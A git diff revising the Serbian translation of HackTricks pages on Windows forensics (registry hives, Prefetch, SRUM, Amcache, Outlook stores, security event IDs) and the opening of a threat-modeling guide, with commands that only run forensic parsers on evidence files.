||||
|
||||
@ -140,13 +138,13 @@ Datoteke u WPDNSE folderu su kopije originalnih, stoga neće preživeti restart
|
||||
|
||||
### setupapi
|
||||
|
||||
Proverite datoteku `C:\Windows\inf\setupapi.dev.log` da dobijete vremenske oznake kada je USB konekcija ostvarena (potražite `Section start`).
|
||||
Proverite datoteku `C:\Windows\inf\setupapi.dev.log` da dobijete vremenske oznake o tome kada je USB konekcija uspostavljena (potražite `Section start`).
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
|
||||
|
||||
### USB Detective
|
||||
|
||||
[**USBDetective**](https://usbdetective.com) može se koristiti za dobijanje informacija o USB uređajima koji su povezani sa slikom.
|
||||
[**USBDetective**](https://usbdetective.com) može se koristiti za dobijanje informacija o USB uređajima koji su bili povezani na sliku.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -177,28 +175,28 @@ Emailovi sadrže **2 zanimljiva dela: zaglavlja i sadržaj** emaila. U **zaglavl
|
||||
- **Ko** je poslao emailove (email adresa, IP, mail serveri koji su preusmerili email)
|
||||
- **Kada** je email poslat
|
||||
|
||||
Takođe, unutar `References` i `In-Reply-To` zaglavlja možete pronaći ID poruka:
|
||||
Takođe, unutar zaglavlja `References` i `In-Reply-To` možete pronaći ID poruka:
|
||||
|
||||
.png>)
|
||||
|
||||
### Windows Mail App
|
||||
|
||||
Ova aplikacija čuva emailove u HTML-u ili tekstu. Možete pronaći emailove unutar podfoldera unutar `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Emailovi se čuvaju sa `.dat` ekstenzijom.
|
||||
Ova aplikacija čuva emailove u HTML-u ili tekstu. Možete pronaći emailove unutar podfoldera unutar `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Emailovi se čuvaju sa ekstenzijom `.dat`.
|
||||
|
||||
**Metapodaci** emailova i **kontakti** mogu se naći unutar **EDB baze podataka**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
|
||||
**Promenite ekstenziju** datoteke sa `.vol` na `.edb` i možete koristiti alat [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) da je otvorite. Unutar `Message` tabele možete videti emailove.
|
||||
**Promenite ekstenziju** datoteke sa `.vol` na `.edb` i možete koristiti alat [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) da je otvorite. Unutar tabele `Message` možete videti emailove.
|
||||
|
||||
### Microsoft Outlook
|
||||
|
||||
Kada se koriste Exchange serveri ili Outlook klijenti, biće prisutni neki MAPI zaglavlja:
|
||||
|
||||
- `Mapi-Client-Submit-Time`: Vreme sistema kada je email poslat
|
||||
- `Mapi-Conversation-Index`: Broj poruka u thread-u i vremenska oznaka svake poruke u thread-u
|
||||
- `Mapi-Conversation-Index`: Broj poruka dece u niti i vremenska oznaka svake poruke u niti
|
||||
- `Mapi-Entry-ID`: Identifikator poruke.
|
||||
- `Mappi-Message-Flags` i `Pr_last_Verb-Executed`: Informacije o MAPI klijentu (poruka pročitana? nije pročitana? odgovoreno? preusmereno? van kancelarije?)
|
||||
|
||||
U Microsoft Outlook klijentu, sve poslate/primljene poruke, podaci o kontaktima i podaci o kalendaru čuvaju se u PST datoteci u:
|
||||
U Microsoft Outlook klijentu, sve poslata/primljene poruke, podaci o kontaktima i podaci o kalendaru se čuvaju u PST datoteci u:
|
||||
|
||||
- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
|
||||
- `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
|
||||
@ -215,10 +213,10 @@ Možete otvoriti PST datoteku koristeći alat [**Kernel PST Viewer**](https://ww
|
||||
|
||||
### Retrieving Attachments
|
||||
|
||||
Izgubljeni dodaci mogu se povratiti iz:
|
||||
Izgubljeni dodaci mogu biti dostupni iz:
|
||||
|
||||
- Za **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
|
||||
- Za **IE11 i novije**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
- Za **IE11 i više**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
|
||||
### Thunderbird MBOX Files
|
||||
|
||||
@ -226,9 +224,9 @@ Izgubljeni dodaci mogu se povratiti iz:
|
||||
|
||||
### Image Thumbnails
|
||||
|
||||
- **Windows XP i 8-8.1**: Pristup folderu sa sličicama generiše `thumbs.db` datoteku koja čuva prikaze slika, čak i nakon brisanja.
|
||||
- **Windows XP i 8-8.1**: Pristup folderu sa sličicama generiše `thumbs.db` datoteku koja čuva preglede slika, čak i nakon brisanja.
|
||||
- **Windows 7/10**: `thumbs.db` se kreira kada se pristupa preko mreže putem UNC puta.
|
||||
- **Windows Vista i novije**: Prikazi sličica su centralizovani u `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` sa datotekama imenovanim **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) i [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) su alati za pregled ovih datoteka.
|
||||
- **Windows Vista i novije**: Pregledi sličica su centralizovani u `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` sa datotekama nazvanim **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) i [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) su alati za pregled ovih datoteka.
|
||||
|
||||
### Windows Registry Information
|
||||
|
||||
@ -236,31 +234,31 @@ Windows Registry, koji čuva opsežne podatke o sistemu i korisničkim aktivnost
|
||||
|
||||
- `%windir%\System32\Config` za razne `HKEY_LOCAL_MACHINE` podključeve.
|
||||
- `%UserProfile%{User}\NTUSER.DAT` za `HKEY_CURRENT_USER`.
|
||||
- Windows Vista i novije verzije prave rezervne kopije `HKEY_LOCAL_MACHINE` registry datoteka u `%Windir%\System32\Config\RegBack\`.
|
||||
- Windows Vista i novije verzije prave rezervne kopije `HKEY_LOCAL_MACHINE` registracionih datoteka u `%Windir%\System32\Config\RegBack\`.
|
||||
- Pored toga, informacije o izvršenju programa se čuvaju u `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` od Windows Vista i Windows 2008 Server nadalje.
|
||||
|
||||
### Tools
|
||||
|
||||
Neki alati su korisni za analizu registry datoteka:
|
||||
Neki alati su korisni za analizu registracionih datoteka:
|
||||
|
||||
- **Registry Editor**: Instaliran je u Windows-u. To je GUI za navigaciju kroz Windows registry trenutne sesije.
|
||||
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Omogućava vam da učitate registry datoteku i navigirate kroz njih sa GUI-jem. Takođe sadrži oznake koje ističu ključeve sa zanimljivim informacijama.
|
||||
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Ponovo, ima GUI koji omogućava navigaciju kroz učitani registry i takođe sadrži dodatke koji ističu zanimljive informacije unutar učitanog registry-a.
|
||||
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Još jedna GUI aplikacija sposobna da izvuče važne informacije iz učitanog registry-a.
|
||||
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Omogućava vam da učitate registracionu datoteku i navigirate kroz njih sa GUI-jem. Takođe sadrži oznake koje ističu ključeve sa zanimljivim informacijama.
|
||||
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Takođe ima GUI koji omogućava navigaciju kroz učitanu registraciju i sadrži dodatke koji ističu zanimljive informacije unutar učitane registracije.
|
||||
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Još jedna GUI aplikacija sposobna da izvuče važne informacije iz učitane registracije.
|
||||
|
||||
### Recovering Deleted Element
|
||||
|
||||
Kada je ključ obrisan, označen je kao takav, ali dok prostor koji zauzima nije potreban, neće biti uklonjen. Stoga, korišćenjem alata kao što je **Registry Explorer** moguće je povratiti ove obrisane ključeve.
|
||||
Kada se ključ obriše, označen je kao takav, ali dok se prostor koji zauzima ne zatreba, neće biti uklonjen. Stoga, korišćenjem alata kao što je **Registry Explorer**, moguće je povratiti ove obrisane ključeve.
|
||||
|
||||
### Last Write Time
|
||||
|
||||
Svaki Key-Value sadrži **vremensku oznaku** koja označava poslednji put kada je modifikovan.
|
||||
Svaki Key-Value sadrži **vremensku oznaku** koja ukazuje na poslednji put kada je modifikovan.
|
||||
|
||||
### SAM
|
||||
|
||||
Datoteka/hive **SAM** sadrži **korisnike, grupe i heširane lozinke korisnika** sistema.
|
||||
|
||||
U `SAM\Domains\Account\Users` možete dobiti korisničko ime, RID, poslednju prijavu, poslednji neuspešni logon, brojač prijava, politiku lozinki i kada je nalog kreiran. Da biste dobili **hešove** takođe **trebate** datoteku/hive **SYSTEM**.
|
||||
U `SAM\Domains\Account\Users` možete dobiti korisničko ime, RID, poslednju prijavu, poslednji neuspešni prijavljivanje, brojač prijava, politiku lozinki i kada je nalog kreiran. Da biste dobili **hešove**, takođe **trebate** datoteku/hive **SYSTEM**.
|
||||
|
||||
### Interesting entries in the Windows Registry
|
||||
|
||||
@ -280,17 +278,17 @@ Unutar registra `NTUSER.DAT` na putu `Software\Microsoft\Current Version\Search\
|
||||
|
||||
### BAM (Background Activity Moderator)
|
||||
|
||||
Možete otvoriti datoteku `SYSTEM` sa registry editorom i unutar puta `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` možete pronaći informacije o **aplikacijama koje je izvršio svaki korisnik** (napomena na `{SID}` u putu) i **u koje vreme** su izvršene (vreme je unutar Data vrednosti registra).
|
||||
Možete otvoriti datoteku `SYSTEM` sa editorom registra i unutar puta `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` možete pronaći informacije o **aplikacijama koje je izvršio svaki korisnik** (napomena na `{SID}` u putu) i **u koje vreme** su izvršene (vreme je unutar Data vrednosti registra).
|
||||
|
||||
### Windows Prefetch
|
||||
|
||||
Prefetching je tehnika koja omogućava računaru da tiho **preuzme potrebne resurse potrebne za prikazivanje sadržaja** koji korisnik **može pristupiti u bliskoj budućnosti** kako bi se resursi mogli brže pristupiti.
|
||||
|
||||
Windows prefetch se sastoji od kreiranja **kešova izvršenih programa** kako bi ih mogli učitati brže. Ovi keševi se kreiraju kao `.pf` datoteke unutar puta: `C:\Windows\Prefetch`. Postoji limit od 128 datoteka u XP/VISTA/WIN7 i 1024 datoteka u Win8/Win10.
|
||||
Windows prefetch se sastoji od kreiranja **kešova izvršenih programa** kako bi ih mogli brže učitati. Ovi keševi se kreiraju kao `.pf` datoteke unutar puta: `C:\Windows\Prefetch`. Postoji limit od 128 datoteka u XP/VISTA/WIN7 i 1024 datoteka u Win8/Win10.
|
||||
|
||||
Ime datoteke se kreira kao `{program_name}-{hash}.pf` (heš se zasniva na putu i argumentima izvršnog programa). U W10 ove datoteke su kompresovane. Imajte na umu da sama prisutnost datoteke ukazuje da je **program izvršen** u nekom trenutku.
|
||||
|
||||
Datoteka `C:\Windows\Prefetch\Layout.ini` sadrži **imena foldera datoteka koje su prefethed**. Ova datoteka sadrži **informacije o broju izvršenja**, **datumima** izvršenja i **datotekama** **otvorenim** od strane programa.
|
||||
Datoteka `C:\Windows\Prefetch\Layout.ini` sadrži **imena foldera datoteka koje su preuzete**. Ova datoteka sadrži **informacije o broju izvršenja**, **datumima** izvršenja i **datotekama** **otvorenim** od strane programa.
|
||||
|
||||
Da biste pregledali ove datoteke, možete koristiti alat [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
|
||||
```bash
|
||||
@ -323,7 +321,7 @@ Daje sledeće informacije:
|
||||
|
||||
Ove informacije se ažuriraju svake 60 minuta.
|
||||
|
||||
Možete dobiti podatke iz ove datoteke koristeći alat [**srum_dump**](https://github.com/MarkBaggett/srum-dump).
|
||||
Možete dobiti datum iz ove datoteke koristeći alat [**srum_dump**](https://github.com/MarkBaggett/srum-dump).
|
||||
```bash
|
||||
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
|
||||
```
|
||||
@ -340,9 +338,9 @@ Možete dobiti podatke iz ove datoteke koristeći alat [**srum_dump**](https://g
|
||||
Ovi podaci se čuvaju u registru na specifičnim lokacijama u zavisnosti od verzije operativnog sistema:
|
||||
|
||||
- Za XP, podaci se čuvaju pod `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` sa kapacitetom za 96 unosa.
|
||||
- Za Server 2003, kao i za verzije Windows-a 2008, 2012, 2016, 7, 8 i 10, putanja za skladištenje je `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, sa kapacitetom od 512 i 1024 unosa, respektivno.
|
||||
- Za Server 2003, kao i za Windows verzije 2008, 2012, 2016, 7, 8 i 10, putanja za skladištenje je `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, sa kapacitetom od 512 i 1024 unosa, respektivno.
|
||||
|
||||
Za parsiranje sačuvanih informacija, preporučuje se korišćenje [**AppCompatCacheParser** alata](https://github.com/EricZimmerman/AppCompatCacheParser).
|
||||
Za analizu sačuvanih informacija, preporučuje se korišćenje alata [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -352,7 +350,7 @@ Datoteka **Amcache.hve** je u suštini registri hives koji beleži detalje o apl
|
||||
|
||||
Ova datoteka je značajna jer čuva zapise o nedavno izvršenim procesima, uključujući puteve do izvršnih datoteka i njihove SHA1 heš vrednosti. Ove informacije su neprocenjive za praćenje aktivnosti aplikacija na sistemu.
|
||||
|
||||
Za ekstrakciju i analizu podataka iz **Amcache.hve**, može se koristiti [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) alat. Sledeća komanda je primer kako koristiti AmcacheParser za parsiranje sadržaja datoteke **Amcache.hve** i izlaz rezultata u CSV formatu:
|
||||
Za ekstrakciju i analizu podataka iz **Amcache.hve**, može se koristiti alat [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Sledeća komanda je primer kako koristiti AmcacheParser za analizu sadržaja datoteke **Amcache.hve** i izlaz rezultata u CSV formatu:
|
||||
```bash
|
||||
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
|
||||
```
|
||||
@ -402,11 +400,11 @@ Mogu se vizualizovati iz Windows Event Viewer-a (**`eventvwr.msc`**) ili sa drug
|
||||
|
||||
## Razumevanje Windows sigurnosnog logovanja događaja
|
||||
|
||||
Događaji pristupa se beleže u datoteci sigurnosne konfiguracije koja se nalazi na `C:\Windows\System32\winevt\Security.evtx`. Veličina ove datoteke je prilagodljiva, a kada se dostigne njena kapacitet, stariji događaji se prepisuju. Beleženi događaji uključuju prijave i odjave korisnika, korisničke akcije i promene u sigurnosnim postavkama, kao i pristup datotekama, folderima i zajedničkim resursima.
|
||||
Događaji pristupa se beleže u datoteci sigurnosne konfiguracije koja se nalazi na `C:\Windows\System32\winevt\Security.evtx`. Veličina ove datoteke je prilagodljiva, a kada se dostigne njen kapacitet, stariji događaji se prepisuju. Beleženi događaji uključuju prijave i odjave korisnika, korisničke akcije i promene sigurnosnih postavki, kao i pristup datotekama, folderima i deljenim resursima.
|
||||
|
||||
### Ključni ID-evi događaja za autentifikaciju korisnika:
|
||||
|
||||
- **EventID 4624**: Ukazuje na to da je korisnik uspešno autentifikovan.
|
||||
- **EventID 4624**: Ukazuje na uspešnu autentifikaciju korisnika.
|
||||
- **EventID 4625**: Signalizira neuspeh autentifikacije.
|
||||
- **EventIDs 4634/4647**: Predstavljaju događaje odjave korisnika.
|
||||
- **EventID 4672**: Označava prijavu sa administratorskim privilegijama.
|
||||
@ -414,8 +412,8 @@ Događaji pristupa se beleže u datoteci sigurnosne konfiguracije koja se nalazi
|
||||
#### Podtipovi unutar EventID 4634/4647:
|
||||
|
||||
- **Interaktivno (2)**: Direktna prijava korisnika.
|
||||
- **Mrežno (3)**: Pristup zajedničkim folderima.
|
||||
- **Batch (4)**: Izvršavanje batch procesa.
|
||||
- **Mrežno (3)**: Pristup deljenim folderima.
|
||||
- **Serijski (4)**: Izvršavanje serijskih procesa.
|
||||
- **Servis (5)**: Pokretanje servisa.
|
||||
- **Proxy (6)**: Proxy autentifikacija.
|
||||
- **Otključavanje (7)**: Ekran otključan lozinkom.
|
||||
@ -431,14 +429,14 @@ Događaji pristupa se beleže u datoteci sigurnosne konfiguracije koja se nalazi
|
||||
- **0xC0000064**: Korisničko ime ne postoji - Može ukazivati na napad na enumeraciju korisničkog imena.
|
||||
- **0xC000006A**: Tačno korisničko ime, ali pogrešna lozinka - Mogući pokušaj pogađanja lozinke ili brute-force napad.
|
||||
- **0xC0000234**: Korisnički nalog je zaključan - Može uslediti nakon brute-force napada koji rezultira višestrukim neuspelim prijavama.
|
||||
- **0xC0000072**: Nalog onemogućen - Neovlašćeni pokušaji pristupa onemogućenim nalozima.
|
||||
- **0xC0000072**: Nalog je onemogućen - Neovlašćeni pokušaji pristupa onemogućenim nalozima.
|
||||
- **0xC000006F**: Prijava van dozvoljenog vremena - Ukazuje na pokušaje pristupa van postavljenih sati prijave, mogući znak neovlašćenog pristupa.
|
||||
- **0xC0000070**: Kršenje ograničenja radne stanice - Može biti pokušaj prijave sa neovlašćenog mesta.
|
||||
- **0xC0000193**: Istek naloga - Pokušaji pristupa sa isteklim korisničkim nalozima.
|
||||
- **0xC0000071**: Istekla lozinka - Pokušaji prijave sa zastarelim lozinkama.
|
||||
- **0xC0000133**: Problemi sa sinhronizacijom vremena - Velike vremenske razlike između klijenta i servera mogu ukazivati na sofisticiranije napade poput pass-the-ticket.
|
||||
- **0xC0000224**: Obavezna promena lozinke potrebna - Česte obavezne promene mogu sugerisati pokušaj destabilizacije sigurnosti naloga.
|
||||
- **0xC0000225**: Ukazuje na grešku sistema, a ne na sigurnosni problem.
|
||||
- **0xC0000225**: Ukazuje na grešku u sistemu, a ne na sigurnosni problem.
|
||||
- **0xC000015b**: Odbijeni tip prijave - Pokušaj pristupa sa neovlašćenim tipom prijave, kao što je korisnik koji pokušava da izvrši prijavu servisa.
|
||||
|
||||
#### EventID 4616:
|
||||
@ -451,7 +449,7 @@ Događaji pristupa se beleže u datoteci sigurnosne konfiguracije koja se nalazi
|
||||
|
||||
#### EventID 1102:
|
||||
|
||||
- **Brisanje logova**: Brisanje sigurnosnih logova, što je često crvena zastava za prikrivanje nezakonitih aktivnosti.
|
||||
- **Brisanje logova**: Brisanje sigurnosnih logova, što je često crvena zastava za prikrivanje nelegalnih aktivnosti.
|
||||
|
||||
#### EventIDs za praćenje USB uređaja:
|
||||
|
||||
@ -477,11 +475,11 @@ Identifikovani višestrukim zapisima EventID 4625, praćenim EventID 4624 ako na
|
||||
|
||||
#### Promena vremena
|
||||
|
||||
Zabeležena sa EventID 4616, promene u sistemskom vremenu mogu otežati forenzičku analizu.
|
||||
Zabeležena EventID 4616, promene sistemskog vremena mogu otežati forenzičku analizu.
|
||||
|
||||
#### Praćenje USB uređaja
|
||||
|
||||
Korisni sistemski EventID-ovi za praćenje USB uređaja uključuju 20001/20003/10000 za početnu upotrebu, 10100 za ažuriranja drajvera i EventID 112 iz DeviceSetupManager-a za vremenske oznake umetanja.
|
||||
Korisni sistemski EventID-ovi za praćenje USB uređaja uključuju 20001/20003/10000 za početnu upotrebu, 10100 za ažuriranja drajvera, i EventID 112 iz DeviceSetupManager-a za vremenske oznake umetanja.
|
||||
|
||||
#### Događaji napajanja sistema
|
||||
|
||||
|
@ -1,12 +1,10 @@
|
||||
# Interesting Windows Registry Keys
|
||||
|
||||
### Interesting Windows Registry Keys
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### **Windows Version and Owner Info**
|
||||
|
||||
- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you will find verziju Windows-a, Service Pack, vreme instalacije i ime registrovanog vlasnika na jednostavan način.
|
||||
- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you will find the Windows verzija, Service Pack, vreme instalacije i ime registrovanog vlasnika na jednostavan način.
|
||||
|
||||
### **Computer Name**
|
||||
|
||||
@ -23,7 +21,7 @@
|
||||
|
||||
### Windows Versions and Service Packs
|
||||
|
||||
- **Verzija Windows-a** označava izdanje (npr. Home, Pro) i njegovu verziju (npr. Windows 10, Windows 11), dok su **Service Packs** ažuriranja koja uključuju ispravke i, ponekad, nove funkcije.
|
||||
- **Windows verzija** označava izdanje (npr. Home, Pro) i njegovu verziju (npr. Windows 10, Windows 11), dok su **Service Packs** ažuriranja koja uključuju ispravke i, ponekad, nove funkcije.
|
||||
|
||||
### Enabling Last Access Time
|
||||
|
||||
@ -31,7 +29,7 @@
|
||||
|
||||
### Network Information Details
|
||||
|
||||
- Registry sadrži opsežne podatke o mrežnim konfiguracijama, uključujući **tipove mreža (bežične, kablovske, 3G)** i **kategorije mreža (Javna, Privatna/Domaća, Domen/Rad)**, što je od suštinskog značaja za razumevanje mrežnih bezbednosnih postavki i dozvola.
|
||||
- Registry sadrži opsežne podatke o mrežnim konfiguracijama, uključujući **tipove mreža (bežične, kablovske, 3G)** i **kategorije mreža (Javna, Privatna/Domaća, Domen/Rad)**, što je od vitalnog značaja za razumevanje mrežnih bezbednosnih postavki i dozvola.
|
||||
|
||||
### Client Side Caching (CSC)
|
||||
|
||||
@ -39,11 +37,11 @@
|
||||
|
||||
### AutoStart Programs
|
||||
|
||||
- Programi navedeni u raznim `Run` i `RunOnce` registry ključevima se automatski pokreću prilikom pokretanja, utičući na vreme podizanja sistema i potencijalno predstavljajući tačke interesa za identifikaciju malvera ili neželjenog softvera.
|
||||
- Programi navedeni u raznim `Run` i `RunOnce` registry ključevima automatski se pokreću pri pokretanju, utičući na vreme podizanja sistema i potencijalno predstavljajući tačke interesa za identifikaciju malvera ili neželjenog softvera.
|
||||
|
||||
### Shellbags
|
||||
|
||||
- **Shellbags** ne samo da čuvaju podešavanja za prikaz foldera, već takođe pružaju forenzičke dokaze o pristupu folderima čak i ako folder više ne postoji. Oni su neprocenjivi za istrage, otkrivajući korisničke aktivnosti koje nisu očigledne na druge načine.
|
||||
- **Shellbags** ne samo da čuvaju podešavanja za prikaz foldera, već takođe pružaju forenzičke dokaze o pristupu folderima čak i ako folder više ne postoji. Oni su neprocenjivi za istrage, otkrivajući aktivnost korisnika koja nije očigledna kroz druge načine.
|
||||
|
||||
### USB Information and Forensics
|
||||
|
||||
@ -51,16 +49,16 @@
|
||||
|
||||
### Volume Serial Number
|
||||
|
||||
- **Serijski broj volumena** može biti ključan za praćenje specifične instance datotečnog sistema, koristan u forenzičkim scenarijima gde je potrebno utvrditi poreklo datoteke preko različitih uređaja.
|
||||
- **Volume Serial Number** može biti ključan za praćenje specifične instance datotečnog sistema, korisno u forenzičkim scenarijima gde je potrebno utvrditi poreklo datoteke preko različitih uređaja.
|
||||
|
||||
### **Shutdown Details**
|
||||
|
||||
- Vreme gašenja i broj gašenja (potonji samo za XP) se čuvaju u **`System\ControlSet001\Control\Windows`** i **`System\ControlSet001\Control\Watchdog\Display`**.
|
||||
- Vreme gašenja i broj (potonji samo za XP) se čuvaju u **`System\ControlSet001\Control\Windows`** i **`System\ControlSet001\Control\Watchdog\Display`**.
|
||||
|
||||
### **Network Configuration**
|
||||
|
||||
- Za detaljne informacije o mrežnim interfejsima, pogledajte **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
|
||||
- Prva i poslednja vremena mrežne veze, uključujući VPN veze, su zabeležena pod raznim putanjama u **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
|
||||
- Prva i poslednja vremena mrežne veze, uključujući VPN veze, beleže se pod raznim putanjama u **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
|
||||
|
||||
### **Shared Folders**
|
||||
|
||||
@ -68,19 +66,19 @@
|
||||
|
||||
### **Programs that Start Automatically**
|
||||
|
||||
- Putanje poput **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** i slični unosi pod `Software\Microsoft\Windows\CurrentVersion` detaljno opisuju programe postavljene da se pokreću prilikom pokretanja.
|
||||
- Putanje kao što su **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** i slični unosi pod `Software\Microsoft\Windows\CurrentVersion` detaljno opisuju programe postavljene da se pokreću pri pokretanju.
|
||||
|
||||
### **Searches and Typed Paths**
|
||||
|
||||
- Istraživanja u Explorer-u i unesene putanje se prate u registry pod **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** za WordwheelQuery i TypedPaths, respektivno.
|
||||
- Istraživanja u Exploreru i unesene putanje se prate u registry pod **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** za WordwheelQuery i TypedPaths, respektivno.
|
||||
|
||||
### **Recent Documents and Office Files**
|
||||
|
||||
- Nedavne datoteke i Office datoteke koje su pristupane su zabeležene u `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` i specifičnim putanjama verzije Office-a.
|
||||
- Nedavne datoteke i Office datoteke koje su pristupane beleže se u `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` i specifičnim putanjama verzije Office-a.
|
||||
|
||||
### **Most Recently Used (MRU) Items**
|
||||
|
||||
- MRU liste, koje ukazuju na nedavne putanje datoteka i komande, se čuvaju u raznim `ComDlg32` i `Explorer` podključevima pod `NTUSER.DAT`.
|
||||
- MRU liste, koje ukazuju na nedavne putanje datoteka i komande, čuvaju se u raznim `ComDlg32` i `Explorer` podključevima pod `NTUSER.DAT`.
|
||||
|
||||
### **User Activity Tracking**
|
||||
|
||||
@ -88,13 +86,13 @@
|
||||
|
||||
### **Shellbags Analysis**
|
||||
|
||||
- Shellbags, koji otkrivaju detalje o pristupu folderima, se čuvaju u `USRCLASS.DAT` i `NTUSER.DAT` pod `Software\Microsoft\Windows\Shell`. Koristite **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** za analizu.
|
||||
- Shellbags, koji otkrivaju detalje o pristupu folderima, čuvaju se u `USRCLASS.DAT` i `NTUSER.DAT` pod `Software\Microsoft\Windows\Shell`. Koristite **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** za analizu.
|
||||
|
||||
### **USB Device History**
|
||||
|
||||
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** i **`HKLM\SYSTEM\ControlSet001\Enum\USB`** sadrže bogate detalje o povezanim USB uređajima, uključujući proizvođača, naziv proizvoda i vremenske oznake povezivanja.
|
||||
- Korisnik povezan sa specifičnim USB uređajem može se precizno odrediti pretraživanjem `NTUSER.DAT` hives za **{GUID}** uređaja.
|
||||
- Poslednji montirani uređaj i njegov serijski broj volumena mogu se pratiti kroz `System\MountedDevices` i `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respektivno.
|
||||
- Poslednji montirani uređaj i njegov broj serije volumena mogu se pratiti kroz `System\MountedDevices` i `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respektivno.
|
||||
|
||||
This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability.
|
||||
|
||||
|
@ -1,46 +1,48 @@
|
||||
# Modelovanje pretnji
|
||||
# Threat Modeling
|
||||
|
||||
## Modelovanje pretnji
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
Dobrodošli u sveobuhvatan vodič HackTricks-a o modelovanju pretnji! Započnite istraživanje ovog kritičnog aspekta sajber bezbednosti, gde identifikujemo, razumemo i strategijski se borimo protiv potencijalnih ranjivosti u sistemu. Ova tema služi kao vodič korak po korak, ispunjen primerima iz stvarnog sveta, korisnim softverom i lako razumljivim objašnjenjima. Idealno za novajlije i iskusne praktičare koji žele da ojačaju svoju sajber bezbednost.
|
||||
## Threat Modeling
|
||||
|
||||
### Uobičajeni scenariji
|
||||
Dobrodošli u sveobuhvatan vodič HackTricks-a o modelovanju pretnji! Započnite istraživanje ovog kritičnog aspekta sajber bezbednosti, gde identifikujemo, razumemo i strategijski se borimo protiv potencijalnih ranjivosti u sistemu. Ova tema služi kao vodič korak po korak, ispunjen stvarnim primerima, korisnim softverom i lako razumljivim objašnjenjima. Idealno za novajlije i iskusne praktičare koji žele da ojačaju svoju sajber bezbednost.
|
||||
|
||||
### Commonly Used Scenarios
|
||||
|
||||
1. **Razvoj softvera**: Kao deo Sigurnog životnog ciklusa razvoja softvera (SSDLC), modelovanje pretnji pomaže u **identifikaciji potencijalnih izvora ranjivosti** u ranim fazama razvoja.
|
||||
2. **Pentesting**: Standard izvršenja pentestinga (PTES) zahteva **modelovanje pretnji kako bi se razumele ranjivosti sistema** pre nego što se izvrši test.
|
||||
2. **Penetraciono testiranje**: Okvir za izvršenje penetracionog testiranja (PTES) zahteva **modelovanje pretnji kako bi se razumele ranjivosti sistema** pre sprovođenja testa.
|
||||
|
||||
### Model pretnji u kratkim crtama
|
||||
### Threat Model in a Nutshell
|
||||
|
||||
Model pretnji se obično prikazuje kao dijagram, slika ili neki drugi oblik vizuelne ilustracije koji prikazuje planiranu arhitekturu ili postojeću izgradnju aplikacije. Podseća na **dijagram toka podataka**, ali ključna razlika leži u njegovom dizajnu orijentisanom na bezbednost.
|
||||
|
||||
